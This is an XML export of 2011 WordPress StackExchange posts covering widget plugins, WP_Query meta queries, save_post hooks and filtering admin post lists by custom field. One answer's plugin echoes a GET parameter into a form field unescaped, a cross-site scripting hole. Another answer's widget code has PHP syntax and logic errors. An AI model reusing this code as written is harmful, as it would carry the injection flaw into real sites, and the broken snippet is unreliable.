  <row Id="16618" PostTypeId="2" ParentId="16616" CreationDate="2011-05-07T00:47:46.340" Score="1" ViewCount="" Body="&lt;p&gt;here is a quick one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Recent posts per category loop &#xA;Plugin URI: http://en.bainternet.info&#xA;Description: answer to http://wordpress.stackexchange.com/questions/16616/recent-posts-per-category-loop&#xA;Author: Bainternet&#xA;Version: 1.0&#xA;Author URI: http://en.bainternet.info&#xA;*/&#xA;&#xA;  // Initialization function&#xA;  function WP_Widget_display_widget_init() &#xA;  {&#xA;    new WP_Widget_display_widget();&#xA;  }&#xA;&#xA;  // Your Class&#xA;  class WP_Widget_display_widget extends WP_Widget &#xA;  {&#xA;    // Constructor&#xA;    function WP_Widget_display_widget() &#xA;    {&#xA;      $widget_ops = array('description' =&amp;gt; __('recent-posts-per-category-loop', 'display_widget'));&#xA;      $this-&amp;gt;WP_Widget('display_widget', __('Display_widget'), $widget_ops);&#xA;    }&#xA;&#xA;    // Display Widget&#xA;    function widget($args, $instance) {&#xA;        extract($args);&#xA;        $title = attribute_escape($instance['title']);&#xA;        echo $before_widget.$before_title.$title.$after_title;&#xA;        display_widget();&#xA;        echo $after_widget;&#xA;    }&#xA;&#xA;    // When Widget Control Form Is Posted&#xA;    function update($new_instance, $old_instance) &#xA;    {&#xA;        if (!isset($new_instance['submit'])) &#xA;        {&#xA;            return false;&#xA;        }&#xA;        $instance = $old_instance;&#xA;        $instance['title'] = strip_tags($new_instance['title']);&#xA;        return $instance;&#xA;    }&#xA;&#xA;    /* Your custom code starts here */&#xA;    /* ---------------------------- */&#xA;&#xA;    /* Your Function */&#xA;    function display_widget()&#xA;    {&#xA;&#xA;      /* Your Code ----------------- */ &#xA;&#xA;      function display_widget(){&#xA;    //only run on home or category&#xA;    $args['post_status'] = 'published';&#xA;    $args['posts_per_page'] = 5;&#xA;    if (is_front_page()||is_home()|| is_category())&#xA;        return '';&#xA;    if (is_category()){&#xA;        $args['cat'] = (int)get_query_var('cat');&#xA;    }&#xA;    $po = new WP_Query( $args );&#xA;    $out = '&amp;lt;ul&amp;gt;';&#xA;    while ($po-&amp;gt;have_posts()){&#xA;        $po-&amp;gt;the_post();&#xA;        $out .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'. get_permalink($post-&amp;gt;ID).'&quot; title=&quot;'.get_the_title($post-&amp;gt;ID).'&quot;&amp;gt;'get_the_title($post-&amp;gt;ID).'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;'&#xA;    }&#xA;    $out .= '&amp;lt;/ul&amp;gt;';&#xA;    echo $out;&#xA;}&#xA;&#xA;&#xA;&#xA;    }&#xA;  }&#xA;&#xA;&#xA;  add_action('widgets_init', 'WP_Widget_display_widget_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-07T00:47:46.340" CommentCount="3" />
  <row Id="16619" PostTypeId="2" ParentId="16614" CreationDate="2011-05-07T00:56:40.720" Score="0" ViewCount="" Body="&lt;p&gt;You are fine , its the plugins who are bad!&#xA;some plugins have not been updated and are still using User level as capability when adding menu pages instead of capability, for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 10 = manage_options = admin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;take a look at &lt;a href=&quot;http://wordpress.org/support/topic/has_cap-was-called-with-an-argument-that-is-deprecated&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; to understand better.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-07T00:56:40.720" CommentCount="1" />
  <row Id="16620" PostTypeId="2" ParentId="16612" CreationDate="2011-05-07T01:48:02.113" Score="0" ViewCount="" Body="&lt;p&gt;I didn't got anything close to OpenX.&#xA;Install their plugin Advertising Manager. Activate it side wide.&#xA;Use OpenX Free Hosted edition to backfill it.&lt;/p&gt;&#xA;" OwnerUserId="5185" LastActivityDate="2011-05-07T01:48:02.113" />
  <row Id="16621" PostTypeId="2" ParentId="16565" CreationDate="2011-05-07T01:55:39.350" Score="0" ViewCount="" Body="&lt;p&gt;try using this one &lt;a href=&quot;http://wordpress.org/extend/plugins/ajax-thumbnail-rebuild/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/ajax-thumbnail-rebuild/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5185" LastActivityDate="2011-05-07T01:55:39.350" />
  <row Id="16622" PostTypeId="2" ParentId="11596" CreationDate="2011-05-07T03:17:19.140" Score="0" ViewCount="" Body="&lt;p&gt;I also had a few blogs and sites spread over, mainly running on WP and other open scripts. &#xA;Then came WPMU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since then i have collected my posts and data from all over the places to one single domain Goelji.com. Following are the rough sum-up of the steps i took:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;converted/ported my all Open scripts (wp,blogger,classiscripts,phpbb etc.) data to WP blogs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;classification and creating a data structure.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;installed WPMU on Goelji root. created sub-domains for main categories i.e. entertainment, tech,life-style,classifieds,kratika.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;installed all the plugins needed to create all the features.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;created subcategories in all the sub-domains i.e.&#xA;tech&gt;softwares    tech&gt;internet     tech&gt;wordpress&#xA;entertainment&gt;lyrics   entertainment&gt;hollywood   entertainment&gt;videos&#xA;lifestyle&gt;world   lifestyle&gt;health   lifestyle&gt;recepies   and so on...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;imported all my blogs into sub-domain blogs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;created a main theme for my blogs on sub-domain and a child theme for Goelji.com&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;right now working on a magazine style home page for Goelji.com&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Have a look over it. &lt;a href=&quot;http://goelji.com/&quot; rel=&quot;nofollow&quot;&gt;http://goelji.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:) i genuinely tried to keep it short...&lt;/p&gt;&#xA;" OwnerUserId="5185" LastActivityDate="2011-05-07T03:17:19.140" />
  <row Id="16623" PostTypeId="1" AcceptedAnswerId="16639" CreationDate="2011-05-07T03:18:36.610" Score="1" ViewCount="207" Body="&lt;p&gt;I'm trying to hook into the &quot;save_post&quot; action from an AJAX callback in my plugin, but it doesn't seem to work. In fact, hooking into &quot;save_posts&quot; only seems to work from a few key action execution points (e.g. &quot;init&quot; or &quot;admin_init&quot;) but not from others (e.g. an &quot;add_meta_boxes&quot; callback).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my particular case, I'd like to click a button on the Edit Post screen to add a new custom metabox, and have it save the metabox's data properly. But of course by the time I click that button and add that metabox, I've already hooked the &quot;save_post&quot; action once and WP seemingly doesn't want to let me hook it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking briefly through the WP source code, I don't see any obvious reasons why I shouldn't be able to hook that action again. Any ideas how to work around this apparent limitation, or at least an explanation as to why it's not working?&lt;/p&gt;&#xA;" OwnerUserId="750" LastActivityDate="2011-05-07T13:53:15.193" Title="Why can't I hook into save_posts after admin_init?" Tags="&lt;metabox&gt;&lt;ajax&gt;&lt;add-action&gt;&lt;save-post&gt;" AnswerCount="1" />
  <row Id="16624" PostTypeId="1" AcceptedAnswerId="16625" CreationDate="2011-05-07T03:47:46.210" Score="0" ViewCount="87" Body="&lt;p&gt;I'm making a custom activity calendar for a client here: &lt;a href=&quot;http://arbeidshesten.com/aktivitetskalender/&quot; rel=&quot;nofollow&quot;&gt;http://arbeidshesten.com/aktivitetskalender/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The backend is a custom post type &quot;aktiviteter&quot;, with custom fields for the date (&quot;dato&quot;) and some more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;th&amp;gt;Aktivitet&amp;lt;/th&amp;gt;&#xA;&amp;lt;th&amp;gt;Sted&amp;lt;/th&amp;gt;&#xA;&amp;lt;th&amp;gt;Dato&amp;lt;/th&amp;gt;&#xA;&amp;lt;th&amp;gt;kontaktperson&amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&#xA; &amp;lt;?php $loop = new WP_Query( array( &#xA;'post_type' =&amp;gt; 'aktiviteter', &#xA;'meta_key' =&amp;gt; 'dato',&#xA;'meta_value' =&amp;gt; date('Y-m-d'),&#xA;'meta_compare' =&amp;gt; '&amp;gt;=',&#xA;'orderby' =&amp;gt; 'meta_value',&#xA;'order' =&amp;gt; 'ASC'&#xA; ) ); ?&amp;gt;&#xA;&#xA;&amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php $display_date = date('d.m.Y', strtotime(get_post_meta($post-&amp;gt;ID, &quot;dato&quot;, true))); ?&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;   &#xA;&amp;lt;td&amp;gt;&amp;lt;?php the_title( '&amp;lt;a href=&quot;' . get_permalink() . '&quot; title=&quot;' . the_title_attribute( 'echo=0' ) . '&quot; rel=&quot;bookmark&quot;&amp;gt;', '&amp;lt;/a&amp;gt;' ); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;sted&quot;, true); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;?php echo $display_date; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;kontaktperson&quot;, true); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Funny thing is that the query returns just 2 aktivities, even though I entered (and published) about 5 future activities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone a clue?&lt;/p&gt;&#xA;" OwnerUserId="2721" LastActivityDate="2011-05-07T04:01:33.793" Title="custom post-type query just returns two posts" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;query&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="16625" PostTypeId="2" ParentId="16624" CreationDate="2011-05-07T03:57:19.693" Score="0" ViewCount="" Body="&lt;p&gt;I wonder if adding &lt;code&gt;'posts_per_page' =&amp;gt; XXX&lt;/code&gt; to your query would give the desired results? Just a thought. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="5087" LastActivityDate="2011-05-07T03:57:19.693" CommentCount="1" />
  <row Id="16626" PostTypeId="2" ParentId="16624" CreationDate="2011-05-07T04:01:33.793" Score="0" ViewCount="" Body="&lt;p&gt;My best guess is that if you are running WP 3.1, the &lt;code&gt;meta_key&lt;/code&gt;, &lt;code&gt;meta_value&lt;/code&gt;, and &lt;code&gt;meta_compare&lt;/code&gt; parameters of the WP_Query is deprecated. In 3.1 and above, the &lt;code&gt;meta_query&lt;/code&gt; parameter is what you should use. This is an awesome addition to WP_Query as it allows for query multiple meta values. Your query should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $loop = new WP_Query( &#xA;        array( &#xA;            'post_type' =&amp;gt; 'aktiviteter', &#xA;                'meta_query' =&amp;gt; array(&#xA;                    'key' =&amp;gt; 'dato',&#xA;                    'value' =&amp;gt; date('Y-m-d'),&#xA;                    'compare' =&amp;gt; '&amp;gt;=',&#xA;                    'type' =&amp;gt; 'DATE'&#xA;                ),&#xA;            'orderby' =&amp;gt; 'dato',&#xA;            'order' =&amp;gt; 'ASC'&#xA;        ) &#xA;    ); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query#Custom_Field_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-07T04:01:33.793" CommentCount="1" />
  <row Id="16628" PostTypeId="2" ParentId="4513" CreationDate="2011-05-07T05:09:44.420" Score="1" ViewCount="" Body="&lt;p&gt;Its batter if you get plugins for that, but if dont find that then its not difficult to develop Customize functionality. You can find too many help for that, And its also easy by using Jquery..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also refer this link &lt;a href=&quot;http://plugins.learningjquery.com/expander/demo/index.html&quot; rel=&quot;nofollow&quot;&gt;http://plugins.learningjquery.com/expander/demo/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just want to suggest you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4959" LastActivityDate="2011-05-07T05:09:44.420" />
  <row Id="16629" PostTypeId="2" ParentId="16421" CreationDate="2011-05-07T05:32:29.327" Score="1" ViewCount="" Body="&lt;p&gt;I finally, got it;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo tweetbutton(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-05-07T05:32:29.327" />
  <row Id="16630" PostTypeId="2" ParentId="4559" CreationDate="2011-05-07T09:54:16.520" Score="0" ViewCount="" Body="&lt;p&gt;you might be interested in one of my threads. Here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15455/how-to-hard-code-custom-menu-items/15488#15488&quot;&gt;How to Hard Code Custom menu items&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-05-07T09:54:16.520" CommentCount="1" />
  <row Id="16631" PostTypeId="1" AcceptedAnswerId="16634" CreationDate="2011-05-07T10:33:59.763" Score="0" ViewCount="137" Body="&lt;p&gt;I am trying to set up a category archive (editing category.php) that displays a list of posts from one single category. If I left the twentyten default code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(get_template_part( 'loop', 'category' );)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and i go to www.mysite.com/categoryname it correctly filters the posts only for the categoryname.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to use my custom query code, going to www.mysite.com/categoryname every post is displayed, despite of category. This is the loop code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;    &amp;lt;?php&#xA;               $args = array(&#xA;                   'post_type' =&amp;gt; 'post',&#xA;                   'posts_per_page' =&amp;gt; 5,&#xA;                   'orderby' =&amp;gt; comment_count,&#xA;                   );&#xA;        query_posts($args);&#xA;        while (have_posts()) : the_post();?&amp;gt;&#xA;&#xA;&#xA;&#xA;    MY CUSTOM CONTENT&#xA;&#xA;   &amp;lt;?php endwhile; ?&amp;gt;           &#xA;  &amp;lt;?php else : ?&amp;gt;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="2119" LastActivityDate="2011-05-07T11:21:23.363" Title="Category page showing posts from all categories" Tags="&lt;categories&gt;&lt;page&gt;" AnswerCount="1" />
  <row Id="16632" PostTypeId="2" ParentId="16584" CreationDate="2011-05-07T10:53:50.487" Score="0" ViewCount="" Body="&lt;p&gt;you have to make it as a theme with a style.css in wp-content/themes folder then active the theme. Otherwise wordpress won't find it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.siteground.com/tutorials/wordpress/wordpress_create_theme.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.siteground.com/tutorials/wordpress/wordpress_create_theme.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-05-07T10:53:50.487" />
  <row Id="16634" PostTypeId="2" ParentId="16631" CreationDate="2011-05-07T11:21:23.363" Score="0" ViewCount="" Body="&lt;p&gt;That happens because you are overwriting the query with you $args, If you want to modify it and not overwrite it then use this format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get the $query_string in to your $args array&#xA;global $query_string;&#xA;parse_str( $query_string, $args );&#xA;//modify whatever you want&#xA;$args['post_type'] = 'post';&#xA;$args['posts_per_page'] = 5;&#xA;$args['orderby'] = 'comment_count';&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-07T11:21:23.363" CommentCount="4" />
  <row Id="16635" PostTypeId="1" AcceptedAnswerId="16636" CreationDate="2011-05-05T20:00:07.793" Score="0" ViewCount="96" Body="&lt;p&gt;Topic says it all, i'm searching for a plugin to allow user submit a request to change their user type. Example:&#xA;John with user type User wants to ask me to change his user type to Author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So maybe there's some kind of plugin which can have a requests' list where i can approve/disapprove?&lt;/p&gt;&#xA;" OwnerUserId="5200" LastActivityDate="2011-05-07T11:28:42.813" Title="Wordpress plugin for users to have an ability to request changing of user type" Tags="&lt;php&gt;&lt;plugins&gt;" AnswerCount="1" />
  <row Id="16636" PostTypeId="2" ParentId="16635" CreationDate="2011-05-06T13:58:26.957" Score="0" ViewCount="" Body="&lt;p&gt;I'm not aware of a plugin that automates a request for a change in status, typically that would be done with some kind of personal contact (e.g., email) explaining to the site admin why such a change is warranted (e.g., ready to submit a guest post). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have them refer to this &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table&quot; rel=&quot;nofollow&quot;&gt;table&lt;/a&gt; and request directly to you as needed. If you aren't comfortable directly changing roles yourself (ala &lt;a href=&quot;http://www.garyc40.com/2010/04/ultimate-guide-to-roles-and-capabilities/&quot; rel=&quot;nofollow&quot;&gt;http://www.garyc40.com/2010/04/ultimate-guide-to-roles-and-capabilities/&lt;/a&gt;), you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt;. IMHO, adding this communciation via WordPress is just going to bog the platform down. If you are the admin, all your users should have your email for troubleshooting, for this, and any other problem. Changing roles isn't something you should have to do very often anyway.&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-05-06T13:58:26.957" />
  <row Id="16637" PostTypeId="1" CreationDate="2011-05-07T11:41:35.660" Score="2" ViewCount="305" Body="&lt;p&gt;despite the fact I googled a lot, I've not found the answer to a very simple question :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some posts with a custom field (ie supplier_name). I would like to be able to search and filter my posts according to this custom field. In other words, in the admin posts listing, I would like to have a search box (named &quot;Supplier name&quot;) where i can type in a value (ex. &quot;IBM&quot;) and then, click on a search button that will give me back all the posts that have a custom field named &quot;supplier_name&quot; and, if so, the value of the custom field will be &quot;IBM&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do this ?&lt;/p&gt;&#xA;" OwnerUserId="5193" LastActivityDate="2011-05-07T15:06:15.940" Title="how to filter post listing (in WP dashboard posts listing) using a custom field (search functionnality)?" Tags="&lt;custom-field&gt;&lt;admin&gt;&lt;customization&gt;&lt;dashboard&gt;" AnswerCount="1" FavoriteCount="4" />
  <row Id="16638" PostTypeId="2" ParentId="14132" CreationDate="2011-05-07T13:46:27.753" Score="1" ViewCount="" Body="&lt;p&gt;Creating your own schedules is a little messy (because they need to be persistent and stored in database), but it is quite easy to hop on one of the native schedules that run twice a day.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_version_check', 'my_function' );&#xA;&#xA;function my_function() {&#xA;&#xA;    //stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for running actual queries you should use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$wpdb&lt;/code&gt;&lt;/a&gt; for that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-07T13:46:27.753" />
  <row Id="16639" PostTypeId="2" ParentId="16623" CreationDate="2011-05-07T13:53:15.193" Score="2" ViewCount="" Body="&lt;p&gt;Adding function to hooks is runtime operation, it is not persistent. Whatever hook operation you run in Ajax actions - they are performed in separate WP instance and expire as soon as Ajax response is returned. They have no influence on currently loaded page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably need to hook your functionality to &lt;code&gt;save_post&lt;/code&gt; as usual (not in Ajax action) and check for your additional metabox to handle it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-07T13:53:15.193" CommentCount="2" />
  <row Id="16640" PostTypeId="1" CreationDate="2011-05-07T14:53:35.647" Score="0" ViewCount="74" Body="&lt;p&gt;I m using BuddyPress latest version with WordPress' latest version, I have put forum link in the header section. And when I click on forums link, it goes to http://{wordpressdirectory}/forums and then redirects to http://{wordpressdirectory}/ , it was working fine, but don't know what happened, I have just disabled the group section from buddypress from admin panel. So do any one suggest what should I do to make forums work properly in BuddyPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5196" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-09T03:34:33.070" LastActivityDate="2011-05-09T03:34:33.070" Title="BuddyPress forum link redirects to WorPress site" Tags="&lt;buddypress&gt;&lt;wp-redirect&gt;&lt;forum&gt;" />
  <row Id="16641" PostTypeId="2" ParentId="16637" CreationDate="2011-05-07T15:06:15.940" Score="5" ViewCount="" Body="&lt;p&gt;I  coded a plugin just for that and never got around to publish it :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/5N6rs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Usage:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In the dropdown you have a list of all custom fields, so just select the field you want to filter by and click filter. if you want to filter to a specific value of a custom field then select the field's name , enter the value you want and click filter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Admin Filter BY Custom Fields&#xA;Plugin URI: http://en.bainternet.info&#xA;Description: Filter posts or pages in admin by custom fields (post meta)&#xA;Version: 1.0&#xA;Author: Bainternet&#xA;Author URI: http://en.bainternet.info&#xA;*/&#xA;&#xA;&#xA;&#xA;add_filter( 'parse_query', 'ba_admin_posts_filter' );&#xA;add_action( 'restrict_manage_posts', 'ba_admin_posts_filter_restrict_manage_posts' );&#xA;&#xA;function ba_admin_posts_filter( $query )&#xA;{&#xA;    global $pagenow;&#xA;    if ( is_admin() &amp;amp;&amp;amp; $pagenow=='edit.php' &amp;amp;&amp;amp; isset($_GET['ADMIN_FILTER_FIELD_NAME']) &amp;amp;&amp;amp; $_GET['ADMIN_FILTER_FIELD_NAME'] != '') {&#xA;        $query-&amp;gt;query_vars['meta_key'] = $_GET['ADMIN_FILTER_FIELD_NAME'];&#xA;    if (isset($_GET['ADMIN_FILTER_FIELD_VALUE']) &amp;amp;&amp;amp; $_GET['ADMIN_FILTER_FIELD_VALUE'] != '')&#xA;        $query-&amp;gt;query_vars['meta_value'] = $_GET['ADMIN_FILTER_FIELD_VALUE'];&#xA;    }&#xA;}&#xA;&#xA;function ba_admin_posts_filter_restrict_manage_posts()&#xA;{&#xA;    global $wpdb;&#xA;    $sql = 'SELECT DISTINCT meta_key FROM '.$wpdb-&amp;gt;postmeta.' ORDER BY 1';&#xA;    $fields = $wpdb-&amp;gt;get_results($sql, ARRAY_N);&#xA;?&amp;gt;&#xA;&amp;lt;select name=&quot;ADMIN_FILTER_FIELD_NAME&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;?php _e('Filter By Custom Fields', 'baapf'); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;&amp;lt;?php&#xA;    $current = isset($_GET['ADMIN_FILTER_FIELD_NAME'])? $_GET['ADMIN_FILTER_FIELD_NAME']:'';&#xA;    $current_v = isset($_GET['ADMIN_FILTER_FIELD_VALUE'])? $_GET['ADMIN_FILTER_FIELD_VALUE']:'';&#xA;    foreach ($fields as $field) {&#xA;        if (substr($field[0],0,1) != &quot;_&quot;){&#xA;        printf&#xA;            (&#xA;                '&amp;lt;option value=&quot;%s&quot;%s&amp;gt;%s&amp;lt;/option&amp;gt;',&#xA;                $field[0],&#xA;                $field[0] == $current? ' selected=&quot;selected&quot;':'',&#xA;                $field[0]&#xA;            );&#xA;        }&#xA;    }&#xA;?&amp;gt;&#xA;&amp;lt;/select&amp;gt; &amp;lt;?php _e('Value:', 'baapf'); ?&amp;gt;&amp;lt;input type=&quot;TEXT&quot; name=&quot;ADMIN_FILTER_FIELD_VALUE&quot; value=&quot;&amp;lt;?php echo $current_v; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-07T15:06:15.940" CommentCount="1" />
  <row Id="16642" PostTypeId="1" CreationDate="2011-05-07T15:28:25.927" Score="0" ViewCount="107" Body="&lt;p&gt;&lt;code&gt;get_option()&lt;/code&gt; provides couple of filters &lt;code&gt;'pre_option_'.$option&lt;/code&gt; and &lt;code&gt;'option_'.$option&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However most times I tried to make use of these it usually explodes and not worth the trouble - either I need to check another option inside my filter, which triggers my filter, which triggers my filter...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another common case is that I need to get current option that I am filtering and I cannot do that because I am filtering it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just curious - is there some practical logic to follow here? I know I could juggle my filter, but that is overhead that I don't like and filter removal is considered not too reliable by some. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For recent practical example - I want to filter &lt;code&gt;posts_per_rss&lt;/code&gt; to my option, but provide WordPress value if my option is not set (for the record I know that recommended way to mess with it is via &lt;code&gt;post_limits&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-07T18:33:53.377" LastActivityDate="2011-05-07T18:46:01.573" Title="get_option() filtering and getting out of recursion" Tags="&lt;add-filter&gt;&lt;get-option&gt;" AnswerCount="1" CommentCount="8" />
  <row Id="16643" PostTypeId="2" ParentId="16576" CreationDate="2011-05-07T15:45:26.233" Score="0" ViewCount="" Body="&lt;p&gt;Most WordPress &lt;a href=&quot;http://winkpress.com/ecommerce/shopping-cart/plugin-feature-payment-methods/&quot; rel=&quot;nofollow&quot;&gt;shopping cart plugins&lt;/a&gt; and themes offer &quot;without checkout&quot; option. Some plugins call it manual payment, others call it off-line payment. So, this is &lt;strong&gt;not&lt;/strong&gt; a requirement by which you can eliminate unsuitable plugins.&lt;/p&gt;&#xA;" OwnerUserId="7929" LastActivityDate="2011-05-07T15:45:26.233" />
  <row Id="16644" PostTypeId="1" CreationDate="2011-05-07T15:47:50.940" Score="0" ViewCount="66" Body="&lt;p&gt;I am trying to create a post form which can create category/Term for a postytpe. Here is the code I am working on. Post and tag got published but not the category/Term&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_cat_id = wp_insert_term($groups_name, 'groups_cat', array(&#xA;&#xA;    'description' =&amp;gt; $group_description,&#xA;&#xA;    'slug' =&amp;gt; 'term_slug_name',&#xA;&#xA;    'parent' =&amp;gt; 4 // must be the ID, not name&#xA;));&#xA;&#xA;$tags = $_POST['post_tags'];&#xA;&#xA;$groups_name = $_POST['groups_name'];&#xA;&#xA;$group_description = $_POST['groups_newpost_description'];&#xA;&#xA;$permalink = get_permalink( $post_id );&#xA;&#xA;$my_post = array(&#xA;'post_title' =&amp;gt; $_POST['groups_newpost_title'],&#xA;'post_content' =&amp;gt; $_POST['groups_newpost_content'],&#xA;'tags_input' =&amp;gt; $_POST['post_tags'],&#xA;'post_category' =&amp;gt; array( $my_cat_id ),&#xA;'post_type' =&amp;gt; 'groups', &#xA;'post_status' =&amp;gt; 'publish'&#xA;);&#xA;&#xA;&#xA;$post_id = wp_insert_post($my_post);&#xA;&#xA;wp_set_post_terms( $post_id, $cat, 'groups_cat', false);&#xA;&#xA;wp_set_post_terms($post_id, $tags, 'groups_tag', false 